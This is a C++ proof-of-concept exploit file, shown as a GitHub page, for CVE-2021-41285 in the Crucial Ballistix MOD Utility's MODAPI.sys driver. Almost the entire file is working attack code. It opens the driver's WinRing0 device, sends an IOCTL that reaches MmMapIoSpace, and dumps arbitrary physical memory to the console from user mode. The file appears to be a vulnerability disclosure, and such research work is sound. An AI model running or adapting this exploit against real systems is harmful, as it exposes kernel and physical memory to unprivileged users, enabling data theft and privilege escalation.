-
Notifications
You must be signed in to change notification settings - Fork 49
/
crucial_Ballistix_MOD_Utility_v.2.0.2.5_memory_dump_PoC.cpp
108 lines (99 loc) · 3.67 KB
/
crucial_Ballistix_MOD_Utility_v.2.0.2.5_memory_dump_PoC.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
/*
Exploit title: Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space
Exploit Authors: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
Grade: PoC
CVE: CVE-2021-41285
Date: 15/09/2021
Version: v.2.0.2.5
Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
Category: local exploit
Platform: windows
*/
#include <iostream>
#include <iomanip>
#include <windows.h>
using namespace std;
int main()
{
DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF)
DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD)
DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read
DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request
DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call
// open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0
HANDLE hDevice = ::CreateFileW(
L"\\\\.\\WinRing0_1_2_0",
GENERIC_READ | GENERIC_WRITE,
NULL,
nullptr,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl;
return -1;
}
cout << "[+] Opened a handle to MODAPI.sys driver!" << endl;
cout << "[-] Allocating buffers' memory area!" << endl;
// allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers
LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpInBuffer == NULL || lpOutBuffer == NULL)
{
cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl;
return -1;
}
cout << "[-] Populating lpInBuffer" << endl;
memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD));
memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD));
memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD));
cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl;
bool success = DeviceIoControl(
hDevice,
dwIOCTL,
lpInBuffer, // expressed in Bytes; MUST be 0x10
0x10,
lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead)
0x40,
&dwBytesReturned,
nullptr);
if (!success)
{
cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL
<< " Error code: " << ::GetLastError() << endl;
return -1;
}
cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead)
<< " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl;
cout << string(70, '-') << endl;
// pretty print memory dump
for (int nSize = 0; nSize <= (dwDataSizeToRead * dwAmountOfDataToRead); nSize += 0x10)
{
for (int i = 0; i <= 0xF; i++)
{
// output byte
printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize));
}
cout << " ";
for (int i = 0; i <= 0xF; i++)
{
CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize);
// if byte is in printable range, then print it's ASCII representation
if (cChar >= 0x20 && cChar <= 0x7E)
{
printf("%c", *((BYTE*)lpOutBuffer + i + nSize));
}
else
{
cout << ".";
}
}
cout << endl;
}
cout << string(70, '-') << endl;
// housekeeping
VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE);
VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE);
ExitProcess(0);
}